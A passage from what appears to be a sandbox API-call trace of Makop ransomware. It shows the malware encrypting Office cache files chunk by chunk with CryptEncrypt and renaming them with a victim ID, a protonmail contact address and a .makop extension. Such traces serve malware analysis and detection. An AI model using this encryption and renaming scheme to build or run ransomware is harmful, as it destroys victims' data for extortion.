(lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0074.270] CloseHandle (hObject=0x124) returned 1 [0074.270] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0074.271] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0074.271] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0074.271] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned 62 [0074.271] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0074.271] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0074.272] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.272] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0074.272] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.272] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0074.277] GetProcessHeap () returned 0x48a0000 [0074.277] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0074.277] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0074.277] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0074.277] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xf, lpOverlapped=0x0) returned 1 [0074.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0074.281] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0074.281] GetProcessHeap () returned 0x48a0000 [0074.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0074.281] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0074.281] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0074.281] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0074.281] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0074.281] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0074.281] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0074.281] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0074.282] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0074.282] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0074.282] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0074.282] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.282] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x1861, lpOverlapped=0x0) returned 1 [0074.283] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x1870, dwBufLen=0x1870 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x1870) returned 1 [0074.283] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.283] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x1870, lpOverlapped=0x0) returned 1 [0074.284] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0074.284] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.284] SetEndOfFile (hFile=0x124) returned 1 [0074.291] GetProcessHeap () returned 0x48a0000 [0074.291] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0074.291] GetProcessHeap () returned 0x48a0000 [0074.291] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0074.291] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0074.291] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0074.297] CloseHandle (hObject=0x124) returned 1 [0074.298] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0074.298] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0074.298] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0074.299] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=50823389) returned 1 [0074.299] GetProcessHeap () returned 0x48a0000 [0074.299] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0074.299] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0074.299] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.299] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x3, lpOverlapped=0x0) returned 1 [0074.306] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0074.306] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0074.306] GetProcessHeap () returned 0x48a0000 [0074.306] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0074.306] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0074.306] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0074.306] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0074.306] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0074.307] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0074.307] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0074.307] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0074.307] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0074.307] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0074.307] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0074.307] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0074.308] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0074.321] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0074.323] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.323] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0074.326] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.326] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0074.326] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0074.326] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0074.337] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0074.340] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.340] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0074.342] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.342] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0074.342] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30380e0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0074.343] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0074.350] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0074.353] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30380e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.353] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0074.355] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.355] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0074.355] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0074.355] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.355] SetEndOfFile (hFile=0x124) returned 1 [0074.365] GetProcessHeap () returned 0x48a0000 [0074.365] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0074.365] GetProcessHeap () returned 0x48a0000 [0074.365] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0074.365] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0074.365] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0074.366] CloseHandle (hObject=0x124) returned 1 [0075.350] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0075.350] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.351] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.352] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2797568) returned 1 [0075.352] GetProcessHeap () returned 0x48a0000 [0075.352] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.352] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.352] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.352] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.353] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.353] GetProcessHeap () returned 0x48a0000 [0075.353] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0075.353] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0075.353] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.353] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0075.356] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0075.356] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0075.356] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0075.356] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.356] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0075.356] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.356] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.356] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.357] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.368] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.371] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.371] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.373] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.373] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.373] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.374] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, 